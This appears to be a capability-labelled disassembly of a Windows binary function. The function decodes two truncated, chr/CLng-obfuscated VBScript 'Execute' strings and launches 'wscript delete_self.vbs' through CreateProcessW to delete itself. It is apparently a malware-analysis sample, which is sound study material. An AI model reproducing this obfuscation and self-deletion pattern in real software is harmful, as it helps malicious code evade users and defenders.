Function at 0x140001410
Capabilities:
Create process on windows
Self delete

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x330]
sub rsp, 0x430
mov rax, qword [0x14000e010]
xor rax, rsp
mov qword [rbp + 0x320], rax
mov qword [rsp + 0x78], rdx
xor edi, edi
mov dword [rsp + 0x50], edi
xorps xmm0, xmm0
movups xmmword [rbp + 0x150], xmm0
mov qword [rbp + 0x160], rdi
mov qword [rbp + 0x168], 0xf
mov ecx, 0x2447
call fcn.140004450
test rax, rax
je 0x140002011
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
mov qword [rbp + 0x150], rbx
mov qword [rbp + 0x160], 0x2410
mov qword [rbp + 0x168], 0x241f
mov r8d, 0x2410
lea rdx, str.Execute_chr_585648_CLng_H1B90__chr_585396_CLng_H16A4__chr_350320_CLng_HBCC__chr_4512_CLng_H8D__chr_904206_CLng_H1FD2__chr_31850_CLng_H1C7__chr_992105_CLng_H21B3__chr_414696_CLng_HE98__chr__8683CLng_H220B__chr_579317_CLng_H2519__chr_168000_CLng_H1482__chr_35912_CLng_H218__chr_534432_CLng_H1250__chr_629028_CLng_H1854__chr_255983_CLng_HA4F__chr_962684_CLng_H206B__chr_595193_CLng_H1705__chr__9032CLng_H2397__chr_681296_CLng_H1B28__chr_258640_CLng_H988__chr_107565_CLng_H429__chr__6664CLng_H1A6B__chr__5637CLng_H1679__chr_41240_CLng_H407__chr__2812CLng_HB1E__chr_245597_CLng_HB8F__chr_298089_CLng_HBC3__chr_1117086_CLng_H2647__chr__2679CLng_HAE0__chr_182448_CLng_H65D__chr_475832_CLng_H1006__chr_748440_CLng_H1BD8__chr__6223CLng_H18BD__chr_191683_CLng_H745__chr_37168_CLng_H328__chr_634060_CLng_H2362__chr_824565_CLng_H1EAD__chr_312984_CLng_HB52__chr_638118_CLng_H18AE__chr__4203CLng_H10BE__chr_678931_CLng_H15EB__chr_1050870_CLng_H23B2__chr_26332_CLng_HE3__chr_925463_CLng_H23CB__chr_739020_CLng_H1A7C__chr_405902_CLng_H1412__chr_346528_CLng_HDD0__chr__2592CLng_HA8A__chr_246339_CLng_H987__chr_60390_CLng_H262__chr_423516_CLng_HE43__chr_52972_CLng_H616__chr_105534_CLng_HA0E__chr__5409CLng_H152E__chr_93860_CLng_H24AA__chr_420146_CLng_H13C6__chr_108575_CLng_H433__chr_533252_CLng_H11F5__chr_190784_CLng_H174A__chr__78CLng_HBD__chr__643CLng_H2E5__chr__3212CLng_HCF6__chr_261_CLng_H3__chr_506044_CLng_H19AC__chr__8202CLng_H2053__chr_159360_CLng_H780__chr_458843_CLng_H11BF__chr_171114_CLng_H5DD__chr_1096102_CLng_H2449__chr_94185_CLng_H381__chr_397881_CLng_HFB3__chr__4822CLng_H133B__chr__3266CLng_HCE2__chr__5838CLng_H170B__chr__9245CLng_H243D__chr_315240_CLng_H1158__chr_881326_CLng_H2216__chr_316680_CLng_HAAA__chr__2488CLng_HA07__chr_30478_CLng_H137__chr_837612_CLng_H1EDE__chr_237754_CLng_H932__chr_252153_CLng_H9F3__chr_52200_CLng_H1C2__chr_82440_CLng_H80D__chr_200158_CLng_H16FF__chr_1104320_CLng_H2440__chr__5325CLng_H1536__chr_697950_CLng_H18C9__chr__9496CLng_H2585__chr_951205_CLng_H2413__chr__3369CLng_HD96__chr__4685CLng_H12C1__chr__9823CLng_H26D2__chr_16820_CLng_H122__chr_503976_CLng_H1566__chr_495236_CLng_H1507__chr_389758_CLng_H2119__chr_618700_CLng_H1A45__chr_1136466_CLng_H26F1__chr_549783_CLng_H1359__chr__6843CLng_H1B2A__chr_490680_CLng_H1086__chr_749616_CLng_H1FD4__chr_423324_CLng_H10B4__chr_239295_CLng_H8E7__chr_533991_CLng_H1323__chr_1046306_CLng_H22A3__chr_151300_CLng_HBD2__chr_51136_CLng_H5E0__chr_91594_CLng_H8BA__chr_47268_CLng_HE34__chr__4771CLng_H12AD__chr_88946_CLng_H1ABA__chr_61400_CLng_H17FC__chr_113260_CLng_H652__chr_237159_CLng_H7EB__chr__550CLng_H294__chr_785367_CLng_H1EFD__chr__4521CLng_H121D__chr__1051CLng_H484__chr_53502_CLng_H1E2__chr_586410_CLng_H14D3__chr_69376_CLng_H878__chr_544945_CLng_H1D29__chr_458850_CLng_HF96__chr__7381CLng_H1D25__chr_723558_CLng_H18CB__chr_17538_CLng_H9E__chr_398079_CLng_HFB5__chr_995355_CLng_H267F__chr_800630_CLng_H1B32__chr_844790_CLng_H1CB2__chr_292494_CLng_HDEF__chr__9334CLng_H24EB__chr_710710_CLng_H193D__chr__935CLng_H415__chr_81690_CLng_H30A__chr_1055340_CLng_H257A__chr_509335_CLng_H1351__chr_87160_CLng_H883__chr_443408_CLng_HF77__chr__4930CLng_H13AB__chr_517400_CLng_H1436__chr_228616_CLng_H15C8__chr_85462_CLng_H19AE__chr__6921CLng_H1B13__chr_241984_CLng_H1D8A__chr__4940CLng_H136C__chr_71616_CLng_H8BE__chr__7814CLng_H1EA6__chr_430023_CLng_H143D__chr_808808_CLng_H1F48__chr_1128448_CLng_H2600__chr_215968_CLng_H1A5D__chr_867141_CLng_H2237__chr_136752_CLng_H4D0__chr_861192_CLng_H1F26__chr__3937CLng_HFB1__chr__1565CLng_H68F__chr_565878_CLng_H13EA__chr_105138_CLng_H426__chr_649531_CLng_H191F__chr__4866CLng_H1375__chr_1031205_CLng_H2307__chr_326937_CLng_HCA5__chr_250815_CLng_H885__chr_75552_CLng_H939__chr_372405_CLng_H17D9__chr_12
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + 0x2410], dil
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
mov qword [rbp + 0x140], rdi
mov qword [rbp + 0x148], 0xf
mov ecx, 0x21f7
call fcn.140004450
test rax, rax
je 0x14000200a
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
mov qword [rbp + 0x130], rbx
mov qword [rbp + 0x140], 0x21c0
mov qword [rbp + 0x148], 0x21cf
mov r8d, 0x21c0
lea rdx, str.chr_295020_CLng_HA7A__chr_392337_CLng_HF7B__chr_502164_CLng_H10E9__chr_229845_CLng_H88D__chr__8881CLng_H2320__chr_1080420_CLng_H265E__chr_113295_CLng_H220B__chr_65100_CLng_H196E__chr_20358_CLng_H61E__chr_61280_CLng_H17F0__chr__3601CLng_HE5A__chr__4957CLng_H13C3__chr_120032_CLng_HEA7__chr_259347_CLng_HBA5__chr_10790_CLng_H82__chr_607959_CLng_H17FD__chr_33630_CLng_H127__chr_329805_CLng_HC45__chr_326144_CLng_HB60__chr_373288_CLng_HC92__chr_108422_CLng_H935__chr_456560_CLng_H1B70__chr_655956_CLng_H167A__chr_1020524_CLng_H26B4__chr_292617_CLng_H9C5__chr_839300_CLng_H1E14__chr_636300_CLng_H189C__chr__4876CLng_H137A__chr__9579CLng_H25DF__chr_678155_CLng_H1709__chr_50462_CLng_H449__chr_494594_CLng_H1CD6__chr__4205CLng_H10DC__chr_584766_CLng_H1386__chr_65780_CLng_H256__chr__1067CLng_H49F__chr_100704_CLng_HC4B__chr_368684_CLng_H179C__chr_133248_CLng_H1044__chr_30384_CLng_H279__chr_140000_CLng_H1117__chr__2647CLng_HAAB__chr_526448_CLng_H13C6__chr_518130_CLng_H140A__chr__2485CLng_HA23__chr_83356_CLng_H190C__chr_54640_CLng_H1558__chr_135392_CLng_H1087__chr__3777CLng_HEE1__chr__1063CLng_H447__chr_46432_CLng_H5AB__chr__2560CLng_HA57__chr_35109_CLng_H1A7__chr_836154_CLng_H20FE__chr_912684_CLng_H1F46__chr__5142CLng_H147F__chr_700224_CLng_H186C__chr_323060_CLng_HAE1__chr_184966_CLng_HFB5__chr_141795_CLng_H807__chr_149886_CLng_H5EA__chr_633464_CLng_H17CB__chr__7185CLng_H1C80__chr__3219CLng_HCB3__chr_266390_CLng_H1E9B__chr__2916CLng_HBB4__chr__9424CLng_H253C__chr_421372_CLng_H104C__chr_315153_CLng_HCB1__chr_665965_CLng_H169F__chr_135542_CLng_H53E__chr_10016_CLng_H139__chr__7081CLng_H1C19__chr_1074222_CLng_H24CF__chr_803751_CLng_H1C49__chr_273878_CLng_H911__chr_578760_CLng_H1588__chr_649400_CLng_H195E__chr__552CLng_H28D__chr__971CLng_H3EB__chr_633128_CLng_H1552__chr_235248_CLng_H8D6__chr_899506_CLng_H22CA__chr_74272_CLng_H911__chr__607CLng_H2AF__chr_703939_CLng_H25AB__chr_559980_CLng_H202B__chr_76544_CLng_H958__chr_695082_CLng_H1876__chr__4106CLng_H1070__chr__8752CLng_H2250__chr_289072_CLng_H9BC__chr_380016_CLng_HE46__chr_927685_CLng_H23E1__chr_307136_CLng_H257E__chr_453712_CLng_HFD3__chr_654246_CLng_H166B__chr__346CLng_H1C9__chr_359667_CLng_HE31__chr_369155_CLng_HE47__chr_206770_CLng_H706__chr_179860_CLng_H61C__chr__2716CLng_HABC__chr_780753_CLng_H1F71__chr_289915_CLng_H9D9__chr_278496_CLng_H21FF__chr_262967_CLng_HA97__chr_1004300_CLng_H23AA__chr_160064_CLng_H138A__chr_555422_CLng_H165E__chr_934116_CLng_H2002__chr__8853CLng_H22FC__chr_905697_CLng_H1E3D__chr_996478_CLng_H23B6__chr_785477_CLng_H1E61__chr_521180_CLng_H1282__chr__5531CLng_H160F__chr_143336_CLng_HC2C__chr_304096_CLng_H22F0__chr_49972_CLng_HF04__chr_50320_CLng_H13A8__chr_143008_CLng_H1175__chr__3055CLng_HC0F__chr_281568_CLng_H225F__chr_275744_CLng_H21A9__chr_668160_CLng_H1E00__chr_41832_CLng_H1F8__chr_225918_CLng_H8EA__chr_60078_CLng_H20F__chr_1037400_CLng_H2698__chr_604688_CLng_H1517__chr__2016CLng_H854__chr_59570_CLng_H50F__chr_474822_CLng_H16E6__chr__766CLng_H373__chr_665805_CLng_H18C5__chr_331644_CLng_HB2B__chr_39910_CLng_HBFE__chr_39720_CLng_HF84__chr_556071_CLng_H1F7B__chr_391930_CLng_HDEB__chr_660800_CLng_H19D0__chr_18848_CLng_H24D__chr__518CLng_H24F__chr_322320_CLng_HC58__chr_55055_CLng_H108B__chr_5640_CLng_H234__chr__2387CLng_H960__chr__7795CLng_H1E7D__chr_152768_CLng_H554__chr_276150_CLng_HA46__chr__2003CLng_H837__chr_162016_CLng_H13C7__chr__6007CLng_H17B4__chr_301792_CLng_H24D7__chr__3387CLng_HD92__chr_738866_CLng_H22C6__chr_403425_CLng_HFEB__chr_286482_CLng_H9D1__chr_46830_CLng_H1BE__chr_526400_CLng_H125C__chr__3651CLng_HEB7__chr__7286CLng_H1CA4__chr_136695_CLng_H837__chr_483246_CLng_H108F__chr_122055_CLng_H4A1__chr_964899_CLng_H2037__chr_838319_CLng_H1E0B__chr_71306_CLng_H2C2__chr_552860_CLng_H13
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + 0x21c0], dil
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp]
call fcn.1400033d0
nop
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0x10], 6
je 0x14000156d
lea ebx, [rdi + 1]
jmp 0x140001f37
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0x10
cmovae rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp]
call fcn.140004160
lea rdx, [rbp + 0x130]
cmp qword [rbp + 0x148], 0x10
cmovae rdx, qword [rbp + 0x130]
mov r8, qword [rbp + 0x140]
mov rcx, rax
call fcn.140004160
lea rcx, [rbp + 8]
call fcn.1400038e0
test rax, rax
jne 0x1400015e4
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, [rbp]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov dword [rbp + 0x2b0], 0x68
xorps xmm0, xmm0
movups xmmword [rbp + 0x2b8], xmm0
movups xmmword [rbp + 0x2c8], xmm0
movups xmmword [rbp + 0x2d8], xmm0
movups xmmword [rbp + 0x2e8], xmm0
movups xmmword [rbp + 0x2f8], xmm0
movups xmmword [rbp + 0x308], xmm0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebx, eax
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0x1b0]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x14000abb0]
mov qword [rbp + 0x1b0], rax
lea rax, [0x14000ac68]
mov qword [rbp + 0x1c0], rax
lea rcx, [rbp + 0x248]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::constructor_void____ptr64]
nop
mov dword [rsp + 0x50], 1
xor r8d, r8d
lea rdx, [rbp + 0x1c8]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_wchar_t__struct_std::char_traits_wchar_t__::constructor_class_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t______ptr64____ptr64]
nop
mov rax, qword [rbp + 0x1b0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x1ac], edx
lea rcx, [rbp + 0x1c8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + 0x1c8], rax
mov qword [rbp + 0x230], rdi
mov dword [rbp + 0x238], edi
mov edx, ebx
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
mov r13, rdi
mov qword [rbp + 0x120], rdi
mov qword [rbp + 0x128], 7
mov word [rbp + 0x110], di
mov dword [rsp + 0x50], 5
xor eax, eax
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rax
mov rcx, rdi
mov r8d, dword [rbp + 0x238]
mov eax, r8d
and al, 0x22
cmp al, 2
je 0x14000176b
mov rax, qword [rbp + 0x208]
mov rdx, qword [rax]
test rdx, rdx
je 0x14000176b
mov rax, qword [rbp + 0x1e8]
mov r9, qword [rax]
cmp rdx, qword [rbp + 0x230]
cmovb rdx, qword [rbp + 0x230]
sub rdx, r9
sar rdx, 1
mov rcx, r9
jmp 0x1400017ad
test r8b, 4
jne 0x1400017eb
mov rax, qword [rbp + 0x200]
mov r8, qword [rax]
mov rdx, rdi
test r8, r8
je 0x1400017a8
mov rax, qword [rbp + 0x1e0]
mov r9, qword [rax]
mov rax, qword [rbp + 0x218]
movsxd rdx, dword [rax]
add rdx, rdx
sub rdx, r9
add rdx, r8
sar rdx, 1
mov rcx, r9
jmp 0x1400017ad
mov r9, qword [rsp + 0x58]
test rcx, rcx
je 0x1400017eb
lea rcx, [rbp + 0x110]
cmp rdx, 7
ja 0x1400017df
mov qword [rbp + 0x120], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
mov word [rbp + rbx + 0x110], di
jmp 0x1400017e4
call fcn.140003d30
mov r13, qword [rbp + 0x120]
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x14000ad00]
movdqu xmmword [rbp - 0x50], xmm1
mov word [rbp - 0x60], di
lea rcx, [rbp - 0x60]
lea r11, [rbp - 0x60]
mov r10, r11
mov rdx, r11
call fcn.140001290
cmp rax, r11
je 0x14000183b
nop dword [rax + rax]
lea rdx, [r10 - 2]
movzx ecx, word [rdx]
cmp cx, 0x5c
je 0x14000183b
cmp cx, 0x2f
je 0x14000183b
mov r10, rdx
cmp rax, rdx
jne 0x140001820
mov qword [rsp + 0x58], r10
sub r11, r10
sar r11, 1
mov qword [rsp + 0x60], r11
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x80]
call fcn.140004010
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
mov qword [rbp + 0x1a0], rdi
mov qword [rbp + 0x1a8], rdi
lea r15, [rbp - 0x80]
mov rdi, qword [rbp - 0x80]
mov r12, qword [rbp - 0x68]
cmp r12, 8
cmovae r15, rdi
movabs rax, 0x7ffffffffffffffe
mov rbx, qword [rbp - 0x70]
cmp rbx, rax
ja 0x14000201e
mov ecx, 0xa
lea rdx, [rcx - 0xb]
movabs r8, 0x7fffffffffffffff
cmp rbx, 8
jae 0x1400018df
mov qword [rbp + 0x1a0], rbx
mov r14d, 7
mov qword [rbp + 0x1a8], r14
movups xmm0, xmmword [r15]
movups xmmword [rbp + 0x190], xmm0
movq rsi, xmm0
jmp 0x14000198c
mov qword [rbp + 0x1a8], 7
mov r14, rbx
or r14, 7
cmp r14, rax
jbe 0x1400018fb
mov r14, rax
jmp 0x140001902
cmp r14, rcx
cmovb r14, rcx
mov rax, r14
add rax, 1
cmovb rax, rdx
cmp rax, r8
ja 0x140002018
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x140001952
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002018
mov rcx, rax
call fcn.140004450
test rax, rax
je 0x14000194b
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140001963
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140001961
call fcn.140004450
mov rsi, rax
jmp 0x140001963
xor esi, esi
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1a0], rbx
mov qword [rbp + 0x1a8], r14
lea r8, [rbx*2 + 2]
mov rdx, r15
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
nop
cmp r12, 8
jb 0x1400019cb
lea rdx, [r12*2 + 2]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400019c2
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400019c2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.14000448c
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x140001a0e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a09
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a09
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000448c
movdqa xmm0, xmmword [0x14000ad00]
movdqu xmmword [rbp - 0x50], xmm0
xor edx, edx
mov word [rbp - 0x60], dx
mov rax, qword [rsp + 0x78]
mov rax, qword [rax]
mov qword [rsp + 0x78], rax
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
sub rax, r13
cmp rax, 0x18
jb 0x140002024
lea r13, [rbp + 0x110]
mov r15, qword [rbp + 0x110]
cmp qword [rbp + 0x128], 8
cmovae r13, r15
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
mov rax, qword [rbp + 0x120]
lea r12, [rax + 0x18]
mov edi, 7
lea rbx, [rsp + 0x58]
cmp r12, rdi
jbe 0x140001b31
mov rdi, r12
or rdi, 7
cmp rdi, rcx
jbe 0x140001aa2
mov rdi, rcx
jmp 0x140001aaf
cmp rdi, 0xa
mov ecx, 0xa
cmovb rdi, rcx
mov rcx, rdi
add rcx, 1
mov r8, 0xffffffffffffffff
cmovb rcx, r8
movabs r8, 0x7fffffffffffffff
cmp rcx, r8
ja 0x14000202a
add rcx, rcx
cmp rcx, 0x1000
jb 0x140001b13
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000202a
mov rcx, rax
call fcn.140004450
test rax, rax
je 0x140001d87
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
mov rax, qword [rbp + 0x120]
jmp 0x140001b2c
test rcx, rcx
je 0x140001b29
call fcn.140004450
mov rbx, rax
mov rax, qword [rbp + 0x120]
jmp 0x140001b2c
mov rbx, rdx
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], rdi
movups xmm0, xmmword [str.wscript_delete_self.vbs]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [0x14000ab88]
movups xmmword [rbx + 0x10], xmm1
movups xmm0, xmmword [0x14000ab98]
movups xmmword [rbx + 0x20], xmm0
lea rcx, [rbx + 0x30]
lea r8, [rax + rax]
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
xor edi, edi
mov word [rbx + r12*2], di
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov rax, rdx
sub rax, rcx
cmp rax, 2
jb 0x140001bb3
lea rax, [rcx + 2]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x58]
cmp rdx, 8
cmovae rax, qword [rsp + 0x58]
mov dword [rax + rcx*2], 0x220020
mov word [rax + rcx*2 + 4], di
lea rax, [rsp + 0x58]
jmp 0x140001bd2
mov qword [rsp + 0x20], 2
lea r9, [0x14000ab6c]
mov edx, 2
lea rcx, [rsp + 0x58]
call fcn.140003b70
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
mov r8, qword [rsp + 0x78]
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x40]
call fcn.140003990
mov rcx, rax
mov rdx, qword [rax + 0x10]
mov r9, qword [rax + 0x18]
mov rax, r9
sub rax, rdx
cmp rax, 1
jb 0x140001c52
lea r8, [rdx + 1]
mov qword [rcx + 0x10], r8
mov rax, rcx
cmp r9, 8
jb 0x140001c3c
mov rax, qword [rcx]
mov r9d, 0x22
mov word [rax + rdx*2], r9w
mov word [rax + r8*2], di
lea ebx, [r9 - 0x21]
jmp 0x140001c6d
mov ebx, 1
mov qword [rsp + 0x20], rbx
lea r9, [0x14000ab68]
mov edx, ebx
call fcn.140003b70
mov rcx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x180], xmm1
movups xmm0, xmmword [rcx]
movups xmmword [rbp + 0x170], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rbp + 0x180], xmm1
mov qword [rcx + 0x10], rdi
mov qword [rcx + 0x18], 7
mov word [rcx], di
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x140001ce9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ce4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ce4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000448c
movdqa xmm0, xmmword [0x14000ad00]
movdqu xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x40], di
mov rdx, qword [rbp - 0x68]
cmp rdx, 8
jb 0x140001d3d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001d38
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001d38
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000448c
movdqa xmm0, xmmword [0x14000ad00]
movdqu xmmword [rbp - 0x70], xmm0
mov word [rbp - 0x80], di
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x140001d93
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001d8e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001d8e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000448c
lea rdx, [rbp + 0x170]
cmp qword [rbp + 0x188], 8
cmovae rdx, qword [rbp + 0x170]
lea rax, [rbp - 0x20]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x2b0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140001df9
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, edi
mov rdx, qword [rbp + 0x188]
cmp rdx, 8
jb 0x140001e42
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e3d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001e3d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000448c
movdqa xmm0, xmmword [0x14000ad00]
movdqu xmmword [rbp + 0x180], xmm0
mov word [rbp + 0x170], di
cmp r14, 8
jb 0x140001e98
lea rdx, [r14*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140001e8f
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001e8f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.14000448c
nop
mov rax, qword [rbp + 0x128]
cmp rax, 8
jb 0x140001ede
lea rdx, [rax*2 + 2]
mov rax, r15
cmp rdx, 0x1000
jb 0x140001ed5
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ed5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.14000448c
nop
mov rax, qword [rbp + 0x1b0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x1ac], edx
lea rcx, [rbp + 0x1c8]
call fcn.1400026e0
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x248]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
lea rcx, [rbp]
call fcn.140002030
nop
mov rdx, qword [rbp + 0x148]
cmp rdx, 0x10
jb 0x140001f82
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001f7d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000200a
call fcn.14000448c
mov qword [rbp + 0x140], rdi
mov qword [rbp + 0x148], 0xf
mov byte [rbp + 0x130], 0
mov rdx, qword [rbp + 0x168]
cmp rdx, 0x10
jb 0x140001fd8
inc rdx
mov rcx, qword [rbp + 0x150]
mov r8, rcx
cmp rdx, 0x1000
jb 0x140001fd3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub r8, rcx
add r8, 0xfffffffffffffff8
cmp r8, 0x1f
ja 0x140002011
call fcn.14000448c
mov eax, ebx
mov rcx, qword [rbp + 0x320]
xor rcx, rsp
call fcn.140004430
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
